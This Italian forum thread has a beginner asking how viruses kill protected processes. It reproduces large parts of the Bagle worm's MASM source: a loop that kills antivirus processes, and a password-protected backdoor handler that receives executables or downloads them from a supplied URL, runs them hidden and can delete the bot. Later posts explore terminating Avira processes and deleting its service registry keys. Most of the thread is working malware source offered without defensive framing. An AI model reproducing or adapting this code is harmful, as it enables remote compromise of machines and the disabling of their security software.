Terminare processi con accesso negato

di il
11 risposte

Terminare processi con accesso negato

Ciao a tutti, sono un neofita della programmazione con poche, traballanti basi e nessuna conoscenza di assembly.
Mi ha sempre incuriosito il modo con cui alcuni virus riescono a terminare processi normalmente impossibili da terminare dal task manager. A questo proposito dopo lunghe ricerche sono riuscito a trovare il source di una vecchia versione di Bagle (il famoso worm che attacca gli antivirus) e ad isolare la parte che ha proprio questo compito.
Intuisco che il programma in questione non cerchi di terminare il processo nella maniera "standard" ma cerchi invece di farlo crashare in qualche modo, qualcuno riesce a spiegarmi come?
; AV Process Killer
; #########################################################################

.code

; Scans through processes and terminates if they are in kill-list
KillProcs proc uses edi
        LOCAL   Process: PROCESSENTRY32
        LOCAL   hSnapshot: DWORD

        mov     Process.dwSize, sizeof PROCESSENTRY32
        invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
        mov     hSnapshot, eax

        invoke  Process32First, hSnapshot, addr Process
@@:
        .IF     eax
                mov     edi, offset Processes

        @next:
                invoke  StrStrI, addr Process.szExeFile, edi
                .IF     eax
                        invoke  KillProcess, Process.th32ProcessID
                .ENDIF
                mNextListEntry @next

                invoke  Process32Next, hSnapshot, addr Process
                jmp     @B
        .ENDIF

        invoke  CloseHandle, hSnapshot

        xor     eax, eax
        ret
KillProcs endp

; Process killer thread
KillProcsThread proc lpParam: DWORD
@@:
        call    KillProcs
        invoke  Sleep, PKTimeout
        jmp     @B
        xor     eax, eax
        ret
KillProcsThread endp

; Start process killer thread
StartProcessKiller proc
        LOCAL   lpThreadId: DWORD

        invoke  CreateThread, NULL, 0, offset KillProcsThread, 0, 0, addr lpThreadId
        ret
StartProcessKiller endp

11 Risposte

  • Re: Terminare processi con accesso negato

    Da quel che vedo questa non è la procedura per terminare un processo, è solo la parte per identificare il processo. Una volta identificato viene chiamato la funzione KillProcess che non è elencato quà.
    
    invoke  KillProcess, Process.th32ProcessID
    
    lo sviluppo di questa procedura manca nel codice che hai postato.
  • Re: Terminare processi con accesso negato

    Adesso mi metto a cercare la parte di codice interessata... sarà un lavoro un pò lungo, puoi mica dirmi come inizia la parte che devo cercare?
  • Re: Terminare processi con accesso negato

    KillProcess proc
  • Re: Terminare processi con accesso negato

    Ti ringrazio, ecco la parte di codice interessata:
    KillProcess proc ID: DWORD
            invoke  OpenProcess, PROCESS_TERMINATE, 0, ID
            .IF     eax
                    push    eax
                    invoke  TerminateProcess, eax, 0
                    call    CloseHandle
            .ENDIF
            ret
    KillProcess endp
    adesso immagino che servano le funzioni openprocess e terminateprocess solo che non ho trovato nessuna riga con OpenProcess proc o TerminateProcess proc...
  • Re: Terminare processi con accesso negato

    OpenProcess e TerminateProcess sono delle API windows.



    Quindi il programma non sta faccendo niente di strano. Elenca tutti i programmi, trova quello che vuole eliminare, chiama OpenProcess per impostare i diritti sulla terminazione del processo (da notare PROCESS_TERMINATE) e poi chiama TerminateProcess per distruggere il programma in modo brusco. Non vedo diavolerie strane quà.
  • Re: Terminare processi con accesso negato

    Ma... i diritti sulla terminazione di certi processi (ad esempio quelli dell'antivirus) credo li abbia solo l'utente SYSTEM (almeno in xp, negli altri SO non so) e, per lavorare come utente SYSTEM conosco solo un vecchio exploit che funzionava da shell con il comando AT...
    Utilizzando l'API OpenProcess è possibile anche fare cose che i privilegi dell'utente corrente non consentono????
  • Re: Terminare processi con accesso negato

    Non conosco il virus in questione quindi è possibile che lui sia inserito nel sistema come SYSTEM e non come user, e quindi non ha nessun problema a piazzare delle richieste per cui non viene negato l'accesso. Infatti ogni API può tornare un messaggio d'errore con esito ACCESS_DENIED
  • Re: Terminare processi con accesso negato

    Di conseguenza la cosa interessante diventa riuscire a capire come cavolo ha fatto il virus a fare una simile privilege escalation... guarda, se ne hai voglia, questa è la parte che dovrebbe contenere il codice (si chiama proprio admin.asm):
    ; Admin thread
    ; #########################################################################
    
    .data
            dbCryptSeed     db      2, 3, 4, 5, 6, 7, 8
            IsEncrypted     db      1
    
    .data?
            rc4s            rc4_state <>
    
    .code
    
    ; Get password hash
    EncryptPass proc uses ebx lpPass: DWORD
            invoke  lstrlen, lpPass
            invoke  CRC32Update, eax, lpPass, eax
            mov     ebx, 50
    @l:
            invoke  CRC32Update, eax, offset dbCryptSeed, 7
            xor     eax, ebx
            dec     ebx
            jns     @l
            ret
    EncryptPass endp
    
    ; Backdoor
    AdminHandler proc uses esi edi ebx s, stream: DWORD
            LOCAL   rbuf[128]: BYTE
            LOCAL   bWork: BYTE
            LOCAL   lpBuf[201]: BYTE
            LOCAL   lpRandomID[8]: BYTE
            LOCAL   dwNewPort, dwWritten, hFile: DWORD
            LOCAL   lpURLBuf: DWORD
            LOCAL   fLen: DWORD
            LOCAL   pBuf: DWORD
            LOCAL   fake[62]: BYTE
    
            invoke  WaitForSingleObject, mootex, INFINITE
    
            mov     pBuf, 0
            mov     lpBuf[200], 0
            mov     bWork, 0
            invoke  ZeroMemory, addr lpRandomID, 8
    
            invoke  GlobalAlloc, GPTR, 2048
            mov     lpURLBuf, eax
    
            ; Receive work byte
            invoke  StreamClear, stream
            invoke  NetRecvUntilBytes, s, stream, 1, 5, 0
            test    eax, eax
            jz      @aerr_close
    
            invoke  StreamGotoBegin, stream
            coinvoke stream, IStream, Read, addr bWork, 1, NULL
            invoke  StreamClear, stream
    
            .IF     !((bWork > 0) && (bWork < 11))
                    jmp     @aerr_close
            .ENDIF
    
            ; Receive password
            invoke  NetRecvUntilChar, s, stream, 200, 0, 5
            test    eax, eax
            jz      @aerr_close
    
            invoke  StreamGotoBegin, stream
            coinvoke stream, IStream, Read, addr lpBuf, 200, NULL
            invoke  StreamClear, stream
    
            ; Check password
            invoke  EncryptPass, addr lpBuf
            .IF     eax != Password
                    jmp     @aerr_close
            .ENDIF
    
            .IF     IsEncrypted
                    invoke  lstrlen, addr lpBuf
                    invoke  RC4Setup, addr rc4s, addr lpBuf, eax
                    mov     eax, offset @encr_start
                    mov     ecx, (offset @encr_end) - (offset @encr_start)
                    invoke  RC4Crypt, addr rc4s, eax, ecx
                    mov     IsEncrypted, 0
            .ENDIF
    
            jmp     @F
    
    @encr_start:
                            dw      "++", "++"
            ExeName         db      "\upldf",0
            ExeUpdParam     db      " -upd",0
    
    @@:
            nop
            nop
            nop
            ; Send Ident reponse
            cld
            lea     edi, lpBuf
            mov     eax, Ver
            stosd
            mov     eax, BasePort
            stosd
            invoke  send, s, addr lpBuf, 8, 0
    
            .IF     (bWork == 2) || (bWork == 3)
                    ; Run/Upgrade
                    invoke  NetRecvUntilBytes, s, stream, 4, 4, 0
                    test    eax, eax
                    jz      @aerr_close
    
                    nop
                    ; Receive data length
                    invoke  StreamGotoBegin, stream
                    coinvoke stream, IStream, Read, addr dwNewPort, 4, NULL
                    invoke  StreamClear, stream
    
                    ; Receive data
                    invoke  NetRecvUntilBytes, s, stream, dwNewPort, 4, 0
                    test    eax, eax
                    jz      @aerr_close
    
                    invoke  StreamGotoBegin, stream
                    invoke  GetWindowsDirectory, addr lpBuf, MAX_PATH
    
                    ; Make filename unique to avoid file access errors
                    invoke  GetRandomID, addr lpRandomID, 5
                    invoke  lstrcat, addr lpBuf, offset ExeName
                    invoke  lstrcat, addr lpBuf, addr lpRandomID
                    invoke  lstrcat, addr lpBuf, offset szExeExe
    
                    invoke  CreateFile, addr lpBuf, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
                    mov     hFile, eax
                    inc     eax
                    jz      @aerr_close
    
                    ; Write data to a file
                    mov     fLen, 0
            @write_loop:
                    coinvoke stream, IStream, Read, addr rbuf, 128, addr dwWritten
                    cmp     dwWritten, 0
                    jz      @F
                    invoke  WriteFile, hFile, addr rbuf, dwWritten, addr dwWritten, NULL
                    mov     eax, dwWritten
                    add     fLen, eax
                    jmp     @write_loop
            @@:
                    nop
                    invoke  CloseHandle, hFile
                    .IF     bWork == 3
                            ; Upgrade: add -upd argument
                            invoke  lstrcat, addr lpBuf, offset ExeUpdParam
                    .ENDIF
    
                    ; Check if entire buffer was written to a file
                    mov     eax, dwNewPort
                    .IF     eax == fLen
                            ; Execute file
                            invoke  WinExec, addr lpBuf, SW_HIDE
                    .ENDIF
                    db      20 dup(90h)
            .ELSEIF (bWork == 4)
                    ; Remove bot
                    invoke  DoSelfDelete
            .ELSEIF (bWork == 8) || (bWork == 10)
                    ; Load file from Web & run
                    nop
                    ; Recv url
                    invoke  NetRecvUntilChar, s, stream, 1000, 0, 5
                    test    eax, eax
                    jz      @aerr_close
    
                    invoke  GetWindowsDirectory, addr lpBuf, MAX_PATH
    
                    ; Make filename unique to avoid file access errors
                    invoke  GetRandomID, addr lpRandomID, 5
                    invoke  lstrcat, addr lpBuf, offset ExeName
                    invoke  lstrcat, addr lpBuf, addr lpRandomID
                    invoke  lstrcat, addr lpBuf, offset szExeExe
                    
                    ; Read url into lpURLBuf
                    invoke  StreamGotoBegin, stream
                    coinvoke stream, IStream, Read, lpURLBuf, 1000, NULL
    
                    ; Download file from Web
                    invoke  URLDownloadToFile, NULL, lpURLBuf, addr lpBuf, NULL, NULL
                    .IF     eax == S_OK
                            ; Execute it
                            .IF     (bWork == 8)
                                    invoke  ShellExecute, 0, offset szTextOpen, addr lpBuf, NULL, NULL, SW_HIDE
                            .ELSE
                                    invoke  ShellExecute, 0, offset szTextOpen, addr lpBuf, offset ExeUpdParam, NULL, SW_HIDE
                            .ENDIF
                    .ENDIF
            .ENDIF
            nop
            nop
            jmp     @F
    @encr_end:
            dw      "++", "++"
    @@:
    
    @aerr_close:
            invoke  closesocket, s
            invoke  GlobalFree, lpURLBuf
            .IF     pBuf
                    invoke  GlobalFree, pBuf
            .ENDIF
            invoke  ReleaseMutex, mootex
    
            xor     eax, eax
            ret
    AdminHandler endp
    
    SOCKS4_HEAD struct
            VN      BYTE    ? ; Version
            CD      BYTE    ? ; Command
            DSTPORT WORD    ? ; Port
            DSTIP   DWORD   ? ; Ip
    SOCKS4_HEAD ends
    
    AdminThread proc uses esi edi ebx s: DWORD
            LOCAL   stream: DWORD
            LOCAL   ident: SOCKS4_HEAD
            LOCAL   wPort: WORD
    
            inc     CurConnections
    
            invoke  StreamCreate, addr stream
    
            ; Receive socks version & command
            invoke  NetRecvUntilBytes, s, stream, sizeof SOCKS4_HEAD, 5, 1
    
            invoke  StreamGotoBegin, stream
            invoke  ZeroMemory, addr ident, sizeof SOCKS4_HEAD
            coinvoke stream, IStream, Read, addr ident, sizeof SOCKS4_HEAD, NULL
    
            lea     esi, ident
            assume  esi: ptr SOCKS4_HEAD
            .IF     ([esi].VN == 'C') && ([esi].CD == 0ffh) && ([esi].DSTPORT == 0ffffh)
                    ; Admin
                    ; -------------------------
                    invoke  AdminHandler, s, stream
            .ELSE
                    jmp     @st_s_close_err
            .ENDIF
            jmp     @st_err
    
    @st_s_close_err:
            invoke  closesocket, s
    
    @st_err:
            invoke  StreamFree, stream
    
            dec     CurConnections
            xor     eax, eax
            ret
    AdminThread endp
    
    qui ho postato la pagina dalla quale è possibile scaricare liberamente il source del Bagle...
  • Re: Terminare processi con accesso negato

    Mi correggo, il lavoro sui processi bloccati deve essere indipendente dal fatto che il Bagle utilizza un privilege escalation per essere eseguito con permessi più alti, infatti ho provato a terminare avguard.exe dopo essermi loggato come utente SYSTEM mediante Sysrun e nonostante tutto non c'è stato modo di terminare il processo... qualcuno ha qualche idea?
  • Re: Terminare processi con accesso negato

    Piccolo aggiornamento:
    Avira ha 3 processi bloccati: avgnt, avguard e sched.
    Con Advanced Process Termination sono riuscito a chiudere solo il processo AVGNT.exe mediante la funzione endtask.
    Gli altri due processi sono avviati dai rispettivi servizi AntivirService e AntivirScheduler, entrambi ovviamente impossibili da terminare.
    Ho provato a terminarli in diversi modi ma non ci sono riuscito, a questo punto mi viene il dubbio che il virus si limiti a cancellare le entrate nel registro dei singoli servizi impedendo così il loro avvio al prossimo riavvio del sistema:
    HKLM\System\CurrentControlSet\Services\*****
    HKLM\System\CurrentControlSet\Enum\Root\legacy_*****

    che ne dite?
  • Re: Terminare processi con accesso negato

    UP!
Devi accedere o registrarti per scrivere nel forum
11 risposte